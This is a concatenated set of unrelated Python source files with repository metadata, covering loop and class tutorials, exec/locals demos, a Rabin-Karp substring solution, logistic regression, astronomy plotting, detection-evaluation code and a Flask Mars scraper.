True # we retry return Failure("Unable to retrieve items for url %s" % url) def got_xml_error(error): self.warning("Data received from Radiotime service is invalid: %s", url) #self.debug("%r", error.getTraceback()) print(error.getTraceback()) parent.childrenRetrievingNeeded = True # we retry return Failure("Unable to retrieve items for url %s" % url) d = utils.getPage(url, ) d.addCallback(etree.fromstring) d.addErrback(got_error) d.addCallback(got_page) d.addErrback(got_xml_error) return d
[ "raliclo@gmail.com" ]
raliclo@gmail.com
d99058ae8efde20b0b9a94917310bf9294bf3d79
3d4094d6eca69329d4c6ba08e0c8ce79eedeb6b6
/starter/While.py
af86daef2ae3d6572815e944274601b1454dd277
[]
no_license
agkozik/Python_Course
c9f3c8b68e60b452e57f43da7554c13daf386a0c
4b095bbc86f33999efe95127528b3e1d8bfded9f
refs/heads/master
2022-04-27T06:04:15.276472
2020-04-22T11:49:06
2020-04-22T11:49:06
255,082,012
0
0
null
null
null
null
UTF-8
Python
false
false
1,286
py
# # ---------------------- while true ---------------------------- # # message = "" # while message != "exit": # message = input("Type exit to exit: ") # # # ---------------------- while int true ---------------------------- # n = 1 # while n <= 3: # print("n = ", n) # n += 1 # # # ---------------------- while enter a positive number -------- # number = 0 # while number <= 0: # number = int(input("Enter a positive number: ")) # print("Your number is ", number) # # ---------------------- Break -------------------------------- # i = 1 # while True: # print("Iterataion ", i) # i += 1 # if i == 10: # break # print("Loop has stopped") # # ---------------------- Continue ----------------------------- # n = 0 # while n < 10: # n += 1; # if n == 5: # print("Value 5 skipped because of continue operator") # continue # print(n) # # ---------------------- While with Else ---------------------------- attempts_left = 3 while attempts_left > 0: attempts_left -= 1 password = input("Please, enter Password [" "you have {} attempt(s) ]: ".format(attempts_left + 1)) if password == '1234': print("Correct password, signing...") break else: print("You lost all attempts.")
[ "agkozik@gmail.com" ]
agkozik@gmail.com
6c7d9885d0519d18a161ee398e1f83753b821006
65a32b8a8a97c126843d2cfe79c43193ac2abc23
/chapter9/local_var.py
1816492d4b38b735cc5262f0aabbb32c1c380b9e
[]
no_license
zhuyuedlut/advanced_programming
9af2d6144e247168e492ddfb9af5d4a5667227c4
a6e0456dd0b216b96829b5c3cef11df706525867
refs/heads/master
2023-03-19T09:21:31.234000
2020-10-09T13:09:38
2020-10-09T13:09:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
809
py
a = 20 exec('b = a + 1') print(f'b = {b}') # def test(): # a = 20 # exec('b = a + 1') # print(f'b = {b}') # # test() def test(): a = 20 loc = locals() exec('b = a + 1') b = loc['b'] print(f't: b = {b}') test() def test_1(): x = 0 exec('x += 1') print(f't1: x = {x}') test_1() def test_2(): x = 0 loc = locals() print(f't2 before: {loc}') exec('x += 1') print(f't2 after: {loc}') print(f't2: x = {x}') test_2() def test_3(): x = 0 loc = locals() print(f't3: loc = {loc}') exec('x += 1') print(f't3: loc = {loc}') locals() print(f't3: loc = {loc}') test_3() def test_4(): a = 20 loc = {'a': a} glb = {} exec('b = a + 1', glb, loc) b = loc['b'] print(f't4: b = {b}') test_4()
[ "root@lyzdeMacBook.local" ]
root@lyzdeMacBook.local
1c9798c3ad320b1268eb7c05f3413c11de8cc2c4
74d6b36ae48a2153fa35c56d2448c05b64c72bf8
/contests/550/A-two-substrings.py
1cd1bdb89a05efe3c401c3f0559cc701f7386b67
[]
no_license
hariharanragothaman/codeforces-solutions
205ec8b717e8eb3e4d700fc413159c49a582cff6
1566a9187cc16e1461ddb55dbcc393493604dfcd
refs/heads/master
2023-06-24T11:33:52.255437
2021-07-25T14:33:52
2021-07-25T14:33:52
282,783,158
2
0
null
null
null
null
UTF-8
Python
false
false
2,935
py
""" Given a string, we need to find , if it contains AB, and BA seperately and they are non-overlapping The strings can be in any order. """ from typing import List p = 31 m = 10 ** 9 + 9 def compute_hash(s): n = len(s) power_mod = [1] for i in range(n): power_mod.append((power_mod[-1] * p) % m) hash_values = [0] * (n + 1) for i in range(n): hash_values[i + 1] = ( hash_values[i] + (ord(s[i]) - ord("a") + 1) * power_mod[i] ) % m def count_occurences(text, pattern): """ :param pattern: Pattern Text :param text: I/P text :return: """ text_length = len(text) pattern_length = len(pattern) power_mod = [1] for i in range(text_length): power_mod.append((power_mod[-1] * p) % m) # print(f"The power mod is: {[power_mod]}") hash_values = [0] * (text_length + 1) for i in range(text_length): hash_values[i + 1] = ( hash_values[i] + (ord(text[i]) - ord("a") + 1) * power_mod[i] ) % m # print("The string hash values are:", hash_values) pattern_hash = 0 for i in range(pattern_length): pattern_hash += ((ord(pattern[i]) - ord("a") + 1) * power_mod[i]) % m # print("The pattern hash is:", pattern_hash) occurences = [] i = 0 while i + pattern_length - 1 < text_length: field_hash = (hash_values[i + pattern_length] - hash_values[i] + m) % m if field_hash == pattern_hash * power_mod[i] % m: occurences.append(i) i += 1 return occurences def solve(s): """ AB and BA are defined strings of length 2 We can do rabin-karp, to get this. So find where all AB is - ab_result find where all BA is - ba_result AB, BA occurence - ensure it's not overalling :return: """ # Let's try a bruteforce method first - This will TLE def helper(s, char) -> List: n = len(s) res = [] start = 0 while s: idx = s.find(char, start, n) if idx != -1: res.append(idx) start += 2 elif idx == -1: break return res # result1 = helper(s, char='AB') # result2 = helper(s, char='BA') result1 = count_occurences(s, pattern="AB") result2 = count_occurences(s, pattern="BA") # We now have to basically find if we can find 2 non-overalapping intervals a = [] b = [] if result1 and result2: if result1[0] < result2[0]: a, b = result1, result2 else: a, b = result2, result1 for i, val1 in enumerate(a): for j, val2 in enumerate(b): if abs(val1 - val2) >= 2: return True return False else: return False if __name__ == "__main__": s = input() res = solve(s) if res: print("YES") else: print("NO")
[ "hariharanragothaman@gmail.com" ]
hariharanragothaman@gmail.com
c1b559c0cf201d04074d7a8dc5042634eea23bb2
0ea7aaa14dadc2eea9207d6a0fb7ce199489ebae
/Logistic Regession.py
bc8fb1ada86a651c868f57818795041391946ca8
[]
no_license
ShyamSundhar1411/Logistic-Regression
de8c32f4853e583455ded3d73e375286d977ade6
246afdc7d4190da2d5b596bdbf8f89a528425023
refs/heads/master
2022-11-11T12:37:32.718857
2020-06-23T12:04:11
2020-06-23T12:04:11
274,395,470
1
0
null
null
null
null
UTF-8
Python
false
false
2,928
py
#Importing Libraries import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.linear_model import LogisticRegression from sklearn.metrics import confusion_matrix, accuracy_score from matplotlib.colors import ListedColormap #Importing Dataset data = pd.read_csv('Social_Network_Ads.csv') x = data.iloc[:,:-1].values y = data.iloc[:,-1].values #print(x) #print(y) #Splitting test_set and train_set x_train,x_test,y_train,y_test = train_test_split(x,y,test_size = 0.2,random_state = 0) #Before Scaling #print(x_train) #print(x_test) #print(y_train) #print(y_test) #Feature Scaling s = StandardScaler() x_train = s.fit_transform(x_train) x_test = s.transform(x_test) #After Scaling #print(x_train) #print(x_test) #Training Logistic Regression classifier = LogisticRegression(random_state = 0) classifier.fit(x_train, y_train) #Predicitng Results and testing prediction #print(classifier.predict(s.transform([[32,150000]]))) #Predicting test set results y_pred = classifier.predict(x_test) #print(np.concatenate((y_pred.reshape(len(y_pred),1),y_test.reshape(len(y_test),1)),1)) #Making confusion matrix a = confusion_matrix(y_test, y_pred) print(a) print(accuracy_score(y_test, y_pred)) #Visualisation of Train set X_set, y_set = s.inverse_transform(x_train), y_train X1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 10, stop = X_set[:, 0].max() + 10, step = 0.25), np.arange(start = X_set[:, 1].min() - 1000, stop = X_set[:, 1].max() + 1000, step = 0.25)) plt.contourf(X1, X2, classifier.predict(s.transform(np.array([X1.ravel(), X2.ravel()]).T)).reshape(X1.shape), alpha = 0.75, cmap = ListedColormap(('red', 'green'))) plt.xlim(X1.min(), X1.max()) plt.ylim(X2.min(), X2.max()) for i, j in enumerate(np.unique(y_set)): plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1], c = ListedColormap(('red', 'green'))(i), label = j) plt.title('Logistic Regression (Training set)') plt.xlabel('Age') plt.ylabel('Estimated Salary') plt.legend() plt.show() #Visualisation of Test Set X_set, y_set = s.inverse_transform(x_test), y_test X1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 10, stop = X_set[:, 0].max() + 10, step = 0.25), np.arange(start = X_set[:, 1].min() - 1000, stop = X_set[:, 1].max() + 1000, step = 0.25)) plt.contourf(X1, X2, classifier.predict(s.transform(np.array([X1.ravel(), X2.ravel()]).T)).reshape(X1.shape), alpha = 0.75, cmap = ListedColormap(('red', 'green'))) plt.xlim(X1.min(), X1.max()) plt.ylim(X2.min(), X2.max()) for i, j in enumerate(np.unique(y_set)): plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1], c = ListedColormap(('red', 'green'))(i), label = j) plt.title('Logistic Regression (Test set)') plt.xlabel('Age') plt.ylabel('Estimated Salary') plt.legend() plt.show()
[ "clashwithchiefrpjyt@gmail.com" ]
clashwithchiefrpjyt@gmail.com
3d9a871d0393bccd4844d3a7c04c403731039856
0d25bedf24b11bcfc34ae5ed8d487ca586e4fa82
/chandra/psf/13903_50_iter_asol_panda/primary/plot_radial_profile_bkg.py
274c2ba00340ca162ffe8e44c72446fe59b2baeb
[]
no_license
maitrayeegupta/sherpa_code
e995514825ed7134adc629fc93379b0a1bb34dc9
9961b9cdcdca337a0481754f33210a841d342ee4
refs/heads/master
2023-05-13T09:07:47.568729
2021-05-27T19:31:50
2021-05-27T19:31:50
265,081,874
0
0
null
null
null
null
UTF-8
Python
false
false
1,207
py
from pycrates import read_file import matplotlib.pylab as plt tab_img = read_file("img_rprofile.fits") tab = read_file("psf_rprofile.fits") xx = tab.get_column("rmid").values yy = tab.get_column("sur_bri").values ye = tab.get_column("sur_bri_err").values xx_img = tab_img.get_column("rmid").values yy_img = tab_img.get_column("sur_bri").values ye_img = tab_img.get_column("sur_bri_err").values scale = yy_img[0] / yy[0] yy = yy *scale ye = ye *scale it=0 for xx_it in xx: print("s_no = ",it,"x = ",xx[it]," yy = ",yy[it]," y_err = ",ye[it]) it = it+1 xx = xx *60 * 0.00820042 xx_img = xx_img *60 * 0.00820042 plt.errorbar(xx,yy,yerr=ye, marker="o",label="PSF") plt.errorbar(xx_img,yy_img,yerr=ye_img, marker="o",color='red',label="Image") tab_bkg = read_file("bkg_rprofile.fits") xx_bkg = tab_bkg.get_column("rmid").values yy_bkg = tab_bkg.get_column("sur_bri").values ye_bkg = tab_bkg.get_column("sur_bri_err").values xx_bkg = xx_bkg *60 * 0.00820042 plt.errorbar(xx_bkg,yy_bkg,yerr=ye_bkg, marker="o",color='green',label="Background") #plt.xscale("log") plt.yscale("log") plt.xlabel("R_MID (arcsec)") plt.ylabel("SUR_BRI (photons/cm**2/pixel**2/s)") plt.legend() plt.show()
[ "maitrayee.gupta@gmail.com" ]
maitrayee.gupta@gmail.com
0512aa9369f8d18ed59f628853a123ff95d586bc
74912c10f66e90195bf87fd71e9a78fa09f017ec
/execroot/syntaxnet/bazel-out/local-opt/bin/dragnn/python/graph_builder_test.runfiles/org_tensorflow/tensorflow/contrib/learn/python/learn/tests/dataframe/__init__.py
31d718df713532da6c36386b67220f0d1e6e878f
[]
no_license
koorukuroo/821bda42e7dedbfae9d936785dd2d125-
1f0b8f496da8380c6e811ed294dc39a357a5a8b8
237fcc152ff436f32b2b5a3752a4181d279b3a57
refs/heads/master
2020-03-17T03:39:31.972750
2018-05-13T14:35:24
2018-05-13T14:35:24
133,244,956
0
0
null
null
null
null
UTF-8
Python
false
false
153
py
/root/.cache/bazel/_bazel_root/821bda42e7dedbfae9d936785dd2d125/external/org_tensorflow/tensorflow/contrib/learn/python/learn/tests/dataframe/__init__.py
[ "k" ]
k
8c929fb80c63833f2b9b8f7f3d79ea501d32a8c2
845e3c428e18232777f17b701212dcbb1b72acc1
/psdbCrop/psdbCropVal1PsdbFourPartsFullDRoiAlignXRoc2.py
6c8fab7837b147654694a4a4715f353926dee333
[ "BSD-2-Clause", "MIT", "LicenseRef-scancode-generic-cla" ]
permissive
chuanxinlan/ohem-1
dd10b2f5ff15e81ab9e42e936bb44d98e01c6795
b7552ceb8ed1e9768e0d522258caa64b79834b54
refs/heads/master
2021-09-16T18:31:25.651432
2018-06-23T10:09:24
2018-06-23T10:09:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,010
py
#!/usr/bin/python import os import numpy as np import matplotlib.pyplot as plt import tools._init_paths import cPickle from datasets.factory import get_imdb import cv2 class EvalConfig(object): iou_thresh = 0.5 min_width = 20 min_height = 20 # a list of type IDs eval_type = None # (x1, y1, x2, y2) -> (x, y, w, h) ? transform_gt = False transform_det = False def read_bboxes(fin, cls, transform=False): im_name = fin.readline().strip() bbs = [] if im_name: num_bbox = int(fin.readline().strip()) if num_bbox > 0: for _ in xrange(num_bbox): line = fin.readline().rstrip().split() line = map(float, line) bbs.append(line) else: num_bbox = -1 key = 0 bboxes = [] heades = [] for i, b in enumerate(bbs): if min(b) >= 0: box = b[(cls - 1) * 5: cls * 5] head = b[(2 - 1) * 5: 2 * 5] bboxes.append(box[1:]) heades.append(head[1:]) num_bbox = len(bboxes) bboxes = np.array(bboxes) heades = np.array(heades) if num_bbox > 0: if transform: bboxes[:, 2:4] += (bboxes[:, :2] - 1) heades[:, 2:4] += (heades[:, :2] - 1) return {'im_name': im_name, 'num_bbox': num_bbox, 'bboxes': bboxes, 'heades': heades} def compute_ap(recall, precision): """ Compute VOC AP given precision and recall. """ # first append sentinel values at the end mrec = np.concatenate(([0.], recall, [1.])) mpre = np.concatenate(([0.], precision, [0.])) # compute the precision envelope for i in range(mpre.size - 1, 0, -1): mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i]) # to calculate area under PR curve, look for points # where X axis (recall) changes value i = np.where(mrec[1:] != mrec[:-1])[0] # and sum (\Delta recall) * prec ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1]) return ap def get_points(x, y, target_x): '''x should be sorted in ascending order''' x1 = np.asarray(x) y1 = np.asarray(y) y0 = [] x2 = [] for x0 in target_x: idx = np.where(x1 == x0)[0] if idx.shape[0] > 0: y0.append(y1[idx].mean()) x2.append(x0) else: idx = np.where(x1 > x0)[0] if idx.shape[0] > 0: w1 = x1[idx[0]] - x0 w2 = x0 - x1[idx[0] - 1] w = w1 + w2 y0.append((y1[idx[0]] * w2 + y1[idx[0] - 1] * w1) / w) x2.append(x0) else: y0.append(y1[-1]) x2.append(x1[-1]) return x2, y0 def getName2Box(): name2box = {} fValDetail = open('data/psdbCrop/val1_detail.txt', 'r') for line in fValDetail: line = line.strip().split() imagename = line[0] bbox = map(float, line[1:]) name2box[imagename] = bbox return name2box def getName2Det(cache_file): name2box = getName2Box() if os.path.exists(cache_file): with open(cache_file, 'rb') as fid: detAll = np.array(cPickle.load(fid)) psdbCrop = get_imdb('psdbCrop_2015_val1') name2det = {} for i, imagename in enumerate(psdbCrop.image_index): imagename = imagename.strip() bbox = name2box[imagename] det = detAll[1, i] det[:, 0] += bbox[0] det[:, 2] += bbox[0] det[:, 1] += bbox[1] det[:, 3] += bbox[1] # det[:, 4] *= bbox[4] imagename = imagename.split('_')[1] + '.jpg' if imagename in name2det: name2det[imagename] = np.vstack(( name2det[imagename], det)) else: name2det[imagename] = det for imagename in name2det: sort_idx = np.argsort(name2det[imagename][:, 4])[::-1] name2det[imagename] = name2det[imagename][sort_idx] return name2det def eval_roc_pr(config, gt_file, det_file, cls): name2det = getName2Det(det_file) psdbFourParts = get_imdb('psdbFourParts_2015_test') psdbFourPartsLen = len(psdbFourParts.image_index) default_iou_thresh = config.iou_thresh min_width = config.min_width min_height = config.min_height eval_type = config.eval_type assert os.path.exists(gt_file) det_conf = [] det_tp = [] det_fp = [] pos_count = 0 bbox_count = 0 im_count = 0 detId = 0 with open(gt_file, 'r') as fgt: for gtId in xrange(psdbFourPartsLen): gt = read_bboxes(fgt, cls, transform=config.transform_gt) imagename = gt['im_name'].strip() if imagename in name2det: det = name2det[imagename] else: det = np.zeros((0, 5)) num_gt = gt['num_bbox'] iou_thresh = [default_iou_thresh] * num_gt gt_hit_mask = [False] * num_gt if num_gt > 0: mask_pos = [True] * num_gt num_pos = len(np.where(mask_pos & (gt['heades'][:, 2] - gt['heades'][:, 0] >= min_width) & (gt['heades'][:, 3] - gt['heades'][:, 1] >= min_height))[0]) else: num_pos = 0 pos_count += num_pos bbox_count += num_gt num_det = det.shape[0] if num_det > 0: det_conf.append(det[:, 4]) det_tp.append(np.zeros(num_det)) det_fp.append(np.zeros(num_det)) fp_box = [] fp_box_iou = [] for i in xrange(num_det): max_iou = -np.inf max_idx = -1 det_bbox = det[i, :4] iou = 0 for j in xrange(num_gt): if gt_hit_mask[j] or not mask_pos[j]: continue gt_bbox = gt['heades'][j, :4] ''' im = cv2.imread(os.path.join( 'data', 'psdb', 'image', gt['im_name'])) # im = im [det_bbox[1]:det_bbox[3], det_bbox[0]:det_bbox[2]] im = im [gt_bbox[1]:gt_bbox[3], gt_bbox[0]:gt_bbox[2]] cv2.imshow('x', im) cv2.waitKey() ''' x1 = max(det_bbox[0], gt_bbox[0]) y1 = max(det_bbox[1], gt_bbox[1]) x2 = min(det_bbox[2], gt_bbox[2]) y2 = min(det_bbox[3], gt_bbox[3]) w = x2 - x1 + 1 h = y2 - y1 + 1 if w > 0 and h > 0: s1 = (det_bbox[2] - det_bbox[0] + 1) * (det_bbox[3] - det_bbox[1] + 1) s2 = (gt_bbox[2] - gt_bbox[0] + 1) * (gt_bbox[3] - gt_bbox[1] + 1) s3 = w * h iou = s3 / (s1 + s2 - s3) if iou > iou_thresh[j] and iou > max_iou: max_iou = iou max_idx = j if max_idx >= 0: det_tp[im_count][i] = 1 gt_hit_mask[max_idx] = True else: det_fp[im_count][i] = 1 fp_box.append(det[i, :]) fp_box_iou.append(iou) if num_det>0: im_count = im_count + 1 det_conf = np.hstack(det_conf) det_tp = np.hstack(det_tp) det_fp = np.hstack(det_fp) sort_idx = np.argsort(det_conf)[::-1] det_tp = np.cumsum(det_tp[sort_idx]) det_fp = np.cumsum(det_fp[sort_idx]) keep_idx = np.where((det_tp > 0) | (det_fp > 0))[0] det_tp = det_tp[keep_idx] det_fp = det_fp[keep_idx] recall = det_tp / pos_count precision = det_tp / (det_tp + det_fp) fppi = det_fp / im_count print('fppi = 0.1') myIdx = np.sum(fppi<=0.1) print('myIdx', myIdx) print('fppi[myIdx]', fppi[myIdx]) print('det_conf[myIdx]', det_conf[myIdx]) ''' print('') print('fppi = 1') myIdx = np.sum(fppi<=1) print('myIdx', myIdx) print('fppi[myIdx]', fppi[myIdx]) print('det_conf[myIdx]', det_conf[myIdx]) print('') ''' ap = compute_ap(recall, precision) fppi_pts, recall_pts = get_points(fppi, recall, [0.1]) stat_str = 'AP = {:f}\n'.format(ap) for i, p in enumerate(fppi_pts): stat_str += 'Recall = {:f}, Miss Rate = {:f} @ FPPI = {:s}'.format(recall_pts[i], 1 - recall_pts[i], str(p)) print stat_str return {'fppi': fppi, 'recall': recall, 'precision': precision, 'ap': ap, 'recall_pts': recall_pts, 'fppi_pts': fppi_pts} def plot_roc(data, id): plt.figure() for i, r in enumerate(data): plt.plot(r['fppi'], r['recall'], label=id[i], linewidth=2.0) plt.draw() ax = plt.gca() ax.set_ylim([0, 1]) ax.set_xscale('log') plt.xlabel('FPPI', fontsize=16) plt.ylabel('Recall', fontsize=16) plt.legend(loc='upper left', fontsize=10) plt.title('ROC Curve') plt.grid(b=True, which='major', color='b', linestyle='-') plt.grid(b=True, which='minor', color='b', linestyle=':') def plot_pr(data, id): plt.figure() for i, r in enumerate(data): plt.plot(r['recall'], r['precision'], label=id[i], linewidth=2.0) plt.draw() ax = plt.gca() ax.set_xlim([0, 1]) ax.set_ylim([0, 1]) plt.xlabel('Recall', fontsize=16) plt.ylabel('Precision', fontsize=16) plt.legend(loc='lower left', fontsize=10) plt.title('PR Curve') plt.grid(b=True, which='major', color='b', linestyle='-') plt.grid(b=True, which='minor', color='b', linestyle=':') plt.minorticks_on() def plot_curves(eval_result, curve_id): plot_roc(eval_result, curve_id) # plot_pr(eval_result, curve_id) plt.savefig('psdbCropVal1.png') if __name__ == '__main__': config = EvalConfig() config.iou_thresh = 0.5 config.min_width = 0 config.min_height = 0 config.eval_type = [0, 1, 2, 3, 4, 5] config.transform_gt = True config.transform_det = False gt_file = 'data/psdb/phsb_rect_byimage_test.txt' for i in range(10, 9, -1): print("Iteration", i) cacheFilename = \ 'output/pvanet_full1_ohem_DRoiAlignX/psdbCrop_val1/zf_faster_rcnn_iter_' + str(i) + \ '0000_inference/detections.pkl' if (os.path.exists(cacheFilename)): eval_result = [] for cls in range(1, 2): result = eval_roc_pr(config, gt_file, cacheFilename, cls) eval_result.append(result) det_id = ['head'] plot_curves(eval_result, det_id) det_file = os.path.join('psdbCrop-psdbFourParts-fppi1-Ohem-pvanet-DRoiAlignX-' + str(i) +'.pkl') with open(det_file, 'wb') as f: cPickle.dump(eval_result, f, cPickle.HIGHEST_PROTOCOL)
[ "cg@example.com" ]
cg@example.com
2677d759e4874010d3ebb1ce03c377387f32d04b
5b1a05d673c41958c994ae349cef44e36ddd9387
/app.py
bc6f63583beee6a853a05890e123bb3bbe4a9929
[]
no_license
JR-Hub/Mission-to-Mars--WebScraping
cca1a0ec4b6a132db9e45951ffdaccee768f3ea1
cc9a922bbd2575ebb13c31db72692423b4c7a166
refs/heads/master
2020-04-26T17:03:52.752549
2019-01-20T04:15:35
2019-01-20T04:15:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
748
py
# import necessary libraries from flask import Flask, render_template, jsonify, redirect # from flask_pymongo import PyMongo import pymongo import sys import scrape_mars # create instance of Flask app app = Flask(__name__) # setup mongo connection conn = "mongodb://localhost:27017" client = pymongo.MongoClient(conn) db = client.mars_db # collection = db.mars @app.route("/") def home(): mars_info = db.mars_d.find_one() return render_template("index.html", mars_info=mars_info) @app.route("/scrape") def scrape(): db.mars_d.drop() mars=scrape_mars.scrape() db.mars_d.insert_one(mars) # Redirect back to home page return redirect("http://localhost:5000/", code=302) if __name__ == "__main__": app.run(debug=True)
[ "Karthik@Karthiks-MacBook-Pro.local" ]
Karthik@Karthiks-MacBook-Pro.local
d56f2fbfff772998895d64c84ba3f478d04e979d
79a6d79225d73583b1f106e622874e62a0d639f5
/Chapter 6/work.py
f43a28ec78b49757ffdd3dbed4286de54fcbca7f
[ "MIT" ]
permissive
bb13135811/Introducing_Python
66e3d314b6de940232e02c4ae693e9d3ed0d0d3f
6240b8cd4366606291bb0a6e0d2edb6053936533
refs/heads/main
2023-04-13T04:20:42.678006
2021-04-20T07:59:29
2021-04-20T07:59:29
337,341,789
0
0
null
null
null
null
UTF-8
Python
false
false
2,584
py
6.1 class Thing(): pass print(Thing) example = Thing() print(example) 6.2 class Thing2(): letters = 'abc' print(Thing2.letters) 6.3 class Thing3(): def __init__(self): self.letters = 'xyz' a = Thing3() print(a.letters) 6.4 class Element(): def __init__(self, name, symbol, number): self.name = name self.symbol = symbol self.number = number hydrogen = Element('Hydrogen', 'H', 1) 6.5 dict_1 = { 'name': 'Hydrogen', 'symbol': 'H', 'number': 1, } hydrogen = Element(dict_1['name'], dict_1['symbol'], dict_1['number']) hydrogen = Element(**dict_1) hydrogen.name hydrogen.symbol hydrogen.number 6.6 class Element(): def __init__(self, name, symbol, number): self.name = name self.symbol = symbol self.number = number def dump(self): print('name=%s, symbol=%s, number=%s' % (self.name, self.symbol, self.number)) hydrogen = Element(**dict_1) hydrogen.dump() 6.7 class Element(): def __init__(self, name, symbol, number): self.name = name self.symbol = symbol self.number = number def __str__(self): return ('name=%s, symbol=%s, number=%s' % (self.name, self.symbol, self.number)) hydrogen = Element(**dict_1) print(hydrogen) 6.8 class Element: def __init__(self, name, symbol, number): self.__name = name self.__symbol = symbol self.__number = number @property def get_name(self): return self.__name @property def get_symbol(self): return self.__symbol @property def get_number(self): return self.__number hydrogen = Element('Hydrogen', 'H', 1) hydrogen.get_name hydrogen.get_symbol hydrogen.get_number 6.9 class Bear(): def eats(self): return 'berries' class Rabbit(): def eats(self): return 'clover' class Oc(): def eats(self): return 'campers' a = Bear() b = Rabbit() c = Oc() print(a.eats()) print(b.eats()) print(c.eats()) 6.10 class Laser: def does(self): return 'disintegrate' class Claw: def does(self): return 'crush' class Smartphone: def does(self): return 'ring' class Robot: def __init__(self): self.laser = Laser() self.claw = Claw() self.smartphone = Smartphone() def does(self): return '''the functions are: The Laser is to %s. The Claw is to %s. The Smartphone is to %s''' %( self.laser.does(), self.claw.does(), self.smartphone.does()) robot = Robot() print(robot.does())
[ "noreply@github.com" ]
noreply@github.com